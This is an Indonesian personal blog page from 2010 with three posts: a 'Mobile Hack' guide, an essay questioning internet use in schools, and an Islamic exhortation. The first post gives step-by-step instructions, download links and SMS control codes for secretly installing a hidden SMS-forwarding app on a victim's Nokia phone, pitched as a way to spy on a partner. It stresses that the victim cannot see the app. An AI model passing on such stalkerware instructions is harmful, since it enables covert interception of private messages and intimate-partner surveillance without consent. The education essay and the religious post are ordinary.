Selamat Datang di Situs Resmi Surya Dwi Putra Selamat Datang di Situs Resmi Surya Dwi Putra

Selasa, 13 April 2010

Mobile Hack

Ini adalah trik untuk menyadap ponsel, bisa anda gunakan sebagai mata-mata untuk pacar biar tidak selingkuh.
hehehehehehe .

Oke langsung saja.
Syarat:

# HP adalah HP symbian. Baik HP anda maupun HP teman anda.
# Merek NOKIA
# Memiliki aplikasi symbian smsanywherelite.sis

Hp korban juga harus sama yah punya aplikasi simbyan smsanywherelite.sis

Ikuti instruksi berikut ini untuk menyadap dan sadap sms hp :

1. download smsanywherelite.sis untuk software menyadap.
direct link :
http://7c3e65c9.linkbucks.com/?lurl=http%3A%2F%2Fwww.wireless-labs.com%2Fdownload%2FSmsAnywhere_S60_2_0_v_1_4_1.SIS

kalau tidak bisa disitu, silahkan download di :
http://www.ziddu.com/download/3233238/smsanywherelite_s60_2_0_v_1_1_0.sis.zip.html

2. Masukkan aplikasi symbian itu di HP anda dan korban

3. Begitu aplikasi ini diinstal, kamu tidak bisa melihat program maupun ikon aplikasi itu dalam ponsel. Seluruh pengontrolannya harus lewat sms, mulai dari pengaktifan dan mematikan program, mengubah password, hingga pengiriman sms ke ponsel lain. Tapi justru itu keuntungannya jika digunakan sebagai alat sadap. Berarti sang target kan tidak tahu kalau diponselnya telah dipasangi aplikasi tersebut. Justru itu, teman anda tidak akan tahu kan kalo smsnya disadap? Karena aplikasi symbian ini belum mendukung GUI (Graphics User Interface).

4. Siapkan hp/ponsel korban anda

5. Siapkan HP anda yang akan menerima sms masuk dari korban anda.

6. Aktifkan aplikasi ini di ponsel korban kamu dengan mengetik format sms -[ SA(spasi)(password)(spasi)ON ]-. Panjang password maksimal 8 karakter. Misal, jika password kamu adalah 123456, ketikkan SA 123456 ON kirim sms ini ke nomor ponsel kedua/ponsel kamu. Untuk mematikannya, ketik SA 123456 OFF ke nomor yang sama.

7. Lalu, jika anda ingin menyadap lebih dari 5 hari..atau setiap sms masuk di hp korban akan selalu diteruskan ke hp anda, ketik sms ini di hp korban anda : SA(spasi)(password)(spasi)R1, misal SA 1234567 R1. Untuk mematikan fungsi ini ganti parameter di belakang “R” menjadi nol. Jadi, tuliskan SA 1234567 R0. Sedangkan untuk meneruskan setiap sms keluar, kirim sms bertuliskan SA 1234567 S1 ke nomer kamu. Matikan fungsi ini dengan mengirim SMS SA 1234567 S0

8. Sekarang, setiap korban menerima dan mengirim sms..kamu akan mendapat terusannya sama persis dengan sms aslinya. afro

Selamat mencoba

Senin, 12 April 2010

Ilmu Teknologi Pendidikan

Internet Masuk Sekolah - Mengapa?
(Lanjutan dari Dikotomi)

Apakah E-Pendidikan Adalah Mimpi?


Ref: SuaraMerdeka.Com

Maaf Pak, gedung-gedung sekolah kami ambruk!

Jangan kuatir Pak/Ibu Guru, sebentar lagi kami akan memasang Internet..... Di mana ya???

Akses ke Internet? Tetapi Sekolah Kami Belum Teraliri Listrik Pak, dan Korupsi Terjadi di Semua Level Penyelenggara Pendidikan (Dinas pendidikan telah menjadi institusi paling korup dan menjadi isntitusi penyumbang koruptor pendidikan terbesar dibanding dengan institusi lainnya), dan UN Tidak Ciptakan Proses Belajar Kreatif, dan kita perlu Setop Kurikulum Merugikan Siswa, juga 70% Lulusan SMA Tanpa Keterampilan Cari Kerja, dan Kemampuan Guru Harus Ditingkatkan, dan Ribuan Anak Cacat Usia Sekolah Belum Terlayani, dan Pendidikan Berkualitas Hanya untuk Orang Berduit, maupun 55 juta orang tidak memiliki "akses" terhadap sumber air yang aman, dan .........

"Internet Belum Dimanfaatkan Secara Positif Oleh Pelajar"
(Prof. DR. Nurtain, Februari 2010)

"PADANG MI: Pakar pendidikan dari Universitas Negeri Padang (UNP), Prof. DR. Nurtain mengatakan kini banyak pelajar dan mahasiswa yang tidak memanfaatkan kemajuan teknologi informasi dan komunikasi internet untuk hal-hal positif namun lebih cenderung hanya untuk menghabiskan waktu dan hal yang tidak bermanfaat."

Diam! Nggak apa-apa. Internet dulu ya!



Internet Masuk  Sekolah

Internet adalah "Alat Bantu", bukan "Solusi Pendidikan" (di tingkat Sekolah). Internet (tanpa bahasa Inggris) sebagai sumber informasi yang sangat terbatas. Bahan pelajaran (dalam bahasa Indonesia) juga sangat sedikit. Kelihatannya kurikulum kita juga tidak berbasis-penelitian, jadi untuk apa Internet di sekolah? Internet di sekolah jelas bukan prioritas kan?

Pendidikan Yang Bermutu adalah:


Pendidikan Berbasis-Guru yang Mampu dan Sejahtera, di Sekolah yang Bermutu, dengan Kurikulum yang Sesuai dengan Kebutuhan Siswa-Siswi dan "Well Balanced" (seimbang, dengan banyak macam keterampilan termasuk teknologi), yang Diimplementasikan secara PAKEM (Pembelajaran Kontekstual). ("Mampu" termasuk Kreatif)

"Pelajar Kecanduan Game Online"
"SD hingga SMA" ah... Teknologi

"Di sejumlah warung internet di Kayuagung diketahui, puluhan kelompok pelajar hampir setiap hari memenuhi warnet untuk bermain game online, bahkan ada siswa yang membolos sekolah demi menyalurkan hobi di dunia maya tersebut."

"Facebook Sebabkan Mahasiswa Malas dan Bodoh"

JAKARTA, KOMPAS.com - Pengguna Facebook yang masih sekolah berhati-hatilah! Menurut studi yang dilakukan oleh Ohio State University, semakin sering Anda menggunakan Facebook, semakin sedikit waktu Anda belajar dan semakin buruklah nilai-nilai mata pelajaran Anda.

Bagaimana Dengan Internet (Tahun 2010): "Internet Belum Dimanfaatkan Secara Positif Oleh Pelajar"
"PADANG--MI: Pakar pendidikan dari Universitas Negeri Padang (UNP), Prof. DR. Nurtain mengatakan kini banyak pelajar dan mahasiswa yang tidak memanfaatkan kemajuan teknologi informasi dan komunikasi internet untuk hal-hal positif namun lebih cenderung hanya untuk menghabiskan waktu dan hal yang tidak bermanfaat."

Kami sudah memasang informasi mengenai masalah-masalah seperti in bulan yang lalu. Mohon semua Siswa-Siswi, Mahasiswa-Mahasiswi dan Pendidik membaca:
"Teknologi Sekarang Membuat Beberapa Ancaman Baru Terhadap
Anak-Anak Bangsa Yang Cerdas
"

Pada umum Internet (di luar negeri) digunakan di tingkat sekolah sebagai alat penelitian, bukan sumber pembelajaran. Walapun begitu "Be careful. Teachers interested in integrating the benefits of the Internet into their curriculum should proceed cautiously and methodically. Avoid getting caught up in all of the Internet hype (retorika) and trying to do everything at once. Set small goals and take steps to reach those goals." (Ref: Some Thoughts on the Use of the Internet in Schools)

Catatan: Maaf, tetapi seperti biasa, informasi yang 'aktual' yang berbasis pengalaman, kami hanya dapat ketemu dalam bahasa Inggris.

Apakah kurikulum kita cocok dengan "research approach to learning" (pelajaran berbasis-penelitian), atau masih berbasis-"Asal-Hafal-Saja" ? UN? Mengunakan Internet di kelas perlu kemampuan manajemen dari guru yang sangat tegas (dan siap membagi waktu di luar kelas untuk menyiapkan tugas siswa dan bahan-bahan) supaya siswa-siswi tidak akan membuang jam pelajaran yang sangat terbatas. Soalnya, belum tentu bahan dari sumber lain akan bermutu atau cocok dengan kebutuhan siswa-siswi kita.

Tahun 2008 Bagaimana? "It is the goal of the Foxborough Public Schools to provide a world-class education to all students. ... While there is an enormous amount of useful and valuable information available, due to the global nature of the Internet and the lack of effective control over its content, access brings with it the potential for misuse and abuse." (Ref: Public Schools - Internet Policies (2007) Pada umum Internet masih hanya diangap sebagai sumber Informasi, dan kebanayakan siswa-siswi hanya menggunakan Internet sebagai sistem komunikasi (e-mail, dll), bukan sumber pembelajaran.

Belajar  Berdua

E-Learning (lewat Internet) juga sebagai salah satu alat bantu pendidikan untuk situasi yang cocok dan kondusif.
E-Learning adalah strategi yang biasanya lebih cocok untuk pelajar yang lebih matang seperti mahasiswa, yang jauh dari kampusnya atau yang dewasa yang harus menyesuaikan waktu belajar dengan jadwal pekerjaan atau tugas Ibu Rumah Tangga. Di sekolah???


"In most countries, e-Learning tends to be available only to those students in urban areas which have access to the technologies or students in remote areas where countries are unable to provide teachers for few students". "However, the need for standards and measuring quality in online content is lacking in most countries."
(Ref: International Survey Results Summaries)

Hal yang Paling Penting dengan Teknologi dan E-Learning: "We need to be relentless in measuring and assessing the impact that technology has on education and on academic achievement. We need evidence that teaching and learning are improved as the result of technology." (Ref: E-Learning Policy Implications for K-12 Educators)

Di mana buktinya (evidence) bahwa e-Learning di Internet dapat meningkatkan mutu proses belajar mengajar? Di sekolah-sekolah (K-12) di luar negeri (pada umum) peran Internet masih hanya sebagai sumber informasi.

Sudah ada banyak sekali retorika mengenai "Internet dan Pendidikan" di Indonesia. Tetapi di mana buktinya? Hasil penelitiannya di mana?
Kelihatannya banyak retorika berasal dari ISP-ISP (mengapa kami tidak kaget?).

"Seminar Nasional ICT Bersama Menkominfo (Minggu, 17 Februari 2008)"
RE Iklan: "internet adalah media pembelajaran masa depan yang sangat bisa diandalkan."

  1. Re: "media pembelajaran masa depan" Dari mana asumpsi ini? Berbasis apa?

  2. Banyak sekali siswa-siswi sudah menggunakan Internet di warnet beberapa tahun. Apakah mereka lebih berhasil di Ujian Sekolah atau UN? Buktinya?

  3. Kapan ada waktu (sebenarnya) di sekolah-sekolah kita untuk menggunakan Internet? Kurikulumnya sudah sangat padat.

  4. Apakah "semua sekolah" di Indonesia punya/akan punya "beberapa kelas" lengkap dengan komputer? Kapan? Pemiliharaan tanggungjawab siapa?

  5. Apakah main Internet secara bebas tidak menghabiskan waktu yang lebih baik digunakan untuk mengulang pelajaran sekolah dan menyiapkan mereka untuk UN atau Ujian Sekolah? Apakah UN sekarang termasuk ujian "Chatting" ?

  6. Bagaimana rencana kita untuk mengatasi masalah bahwa siswa-siswi tidak dapat mengakses atau berpartisipasi di "dunia informasi luas" karena bahasa Inggrisnya lemah?

  7. Bagaimana cara mengintegrasikan Internet di dalam kurikulum dan jadwal pembelajaran di kelas-kelas kita (selain kelas TI)?

  8. Apakah di tingkat sekolah 'Internet sebagai sumber informasi' betul mempunyai peran di dalam melaksanakan kurikulum-kurikulum formal di Indonesia?
    (Saran kami: Kalau ada guru yang ingin memberi tugas penelitian ke siswa-siswi lewat Internet, lebih baik mereka melaksanakan tugasnya 'secara mandiri' di warnet atau telecenter di luar jam kelas, daripada menghabiskan jam pelajaran di sekolah.)

  9. Beberapa sekolah sudah punya akses Internet. Guru-gurunya perlu penjelasan 'berbasis-pedagogi' yang rinci dan praktis! Kami belum dapat ketemu informasinya di situs-situs DepDikNas (termasuk JarDikNas). Mohon informasi!

  10. Apakah guru-guru kita mampu membuat tugas/bahan pelajaran untuk menggunakan Internet dan melaksanakan pembelajaran sambil mengatasi hal-hal negatif, termasuk resiko bahwa siswa-siswi akan masuk situs-situs kekerasan atau porno yang membuang waktu pelajaran?

  11. Apakah tidak lebih baik menggunakan dananya untuk melaksanakan program-program pendidikan yang sudah terbukti (MBS & PAKEM) yang dapat meningkatkan mutu pendidikan maupun kemampuan guru di tingkat sekolah?

    Atau meningkatkan pembelajaran bahasa Inggris yang dapat "membuka informasi global maupun dunia kerja global" untuk siswa-siswa kita, dan adalah hal globalisasi di Indonesia yang paling penting sekarang.

    (Jumlah jam pelajaran dan sistem meniliakan bahasa Inggris jelas tidak berhasil menjamin kemampuan siswa-siswi kita dapat berpartisipasi di dunia global).

  12. Kalau Internet tidak terkait dengan kurikulum, UN, atau Proses Belajar Mengajar kurikulum, dan kebanyakan siswa-siswi tidak dapat mengakses informasi global (tanpa bahasa Inggris), juga bahan dalam bahasa Indonesia adalah sangat sedikit (dan mutunya..?), apakah Internet betul termasuk hal yang penting sama sekali di tingkat sekolah kita di Indonesia sekarang?

    Kalau masalahnya adalah komunikasi, mungkin sebaiknya kita mendukung Warnet dan Telecenter yang dapat dimanfaat oleh lingkungan sekolah maupun lingkungan yang lebih luas (juga dapat di akses di luar jam sekolah). Katanya Telecenter adalah prioritas BAPPENAS.

Apakah ada hal-hal yang jauh lebih penting terhadap isu "mutu pendidikan" kita?

"Kata Menkominfo, akses-akses informasi pada jaringan ICT tersebut, akan ditekankan pada unsur e-education (pendidikan), e-health (kesehatan), dan e-economy (ekonomi) yang dapat mengurangi gap di bidang ICT antara daerah pedesaan dan daerah perkotaan".
Tetapi ini akan sangat tergantung peran dan mutunya SDM di pemerintah, bukan?.

Kalau kita melihat teknologi yang sudah ditangani oleh pemerintah, misalnya website-website (12-1-2008):

Coba situs pemerintah yang lain di: http://Re-SearchEngines.Com.
Apakah website-website DepDikNas adalah informatif dan mendidik?

Mohon ingat: Yang paling penting dalam singkatan "TIK" (Teknologi Informasi Komunikasi) adalah bagian "I" Informasi, dan ini yang sangat kurang dan perlu dibangun dulu, baru memikirkan teknologi.

Walapun Internet Tidak Begitu Bermanfaat Untuk Pelajar Di Sekolah, Mungkin Internet Oleh Bisnis Online
Akan Lebih Bermanfaat Untuk Meningkatkan Kesejahteraan Pendidik Dan Pelajar!
Dan Semoga Guru-Guru Dapat Labih Terfokus Kepada Tugasnya Di Sekolah.


Why Have I Taken This Position?

Silakan Mengirim Saran Anda


Salam Pendidikan

Serulah Kejalan Tuhan-mu

AM Firman Allah SWT : "Serulah ke jalan Tuhanmu dengan hikmat dan nasihat pengajaran yang baik, dan bahaskanlah mereka secara yang baik; sesungguhnya Tuhanmu Dialah yang lebih mengetahui akan orang yang sesat dari jalan-Nya, dan Dialah yang lebih mengetahui akan orang yang mendapat petunjuk." (An-Nahl: 125).
Seorang ulama salaf berkata"Setiap seorang hamba berbuat dosa, bumi tempat ia berdiri meminta keizinan Tuhan untuk membenamkannya dan langit yang di atas kepalanya memohon izin untuk gugur menimpanya."Tetapi Tuhan berfirman pada langit dan bumi itu, "Tahanlah bahaya untuk hamba-Ku itu dan beri dia waktu. Mungkin dia bertaubat pada-Ku lalu Aku ampunkan dan mungkin saja dia menggantikan kerja buruknya dengan amalan yang baik lalu Aku gantikan dosanya dengan pahala."Itulah yang dimaksudkan dengan firman Allah :Terjemahannya : "Sesungguhnya Allah menahan langit dan bumi dari terjatuh dan kalau keduanya terjatuh tiada seorang pun yang akan bisa menahan selain Dia." (Faathir : 41)
Ulama tasawuf berkata:"Biarlah sedikit amalan beserta rasa takut pada Allah, karena itu lebih baik daripada banyak amalan tetapi tidak ada rasa takut dengan Allah. Lebih baik orang yang merasa berdosa dan bersalah dengan Allah daripada orang yang banyak amalan tetapi tidak rasa berdosa pada Allah bahkan dia merasa telah cukup dengan amalan itu." "Allah tidak memandang rupa dan harta kamu tetapi Dia memandang hati dan amalan kamu." (Riwayat : Muslim)

Posting by : Yaya Admin Sejati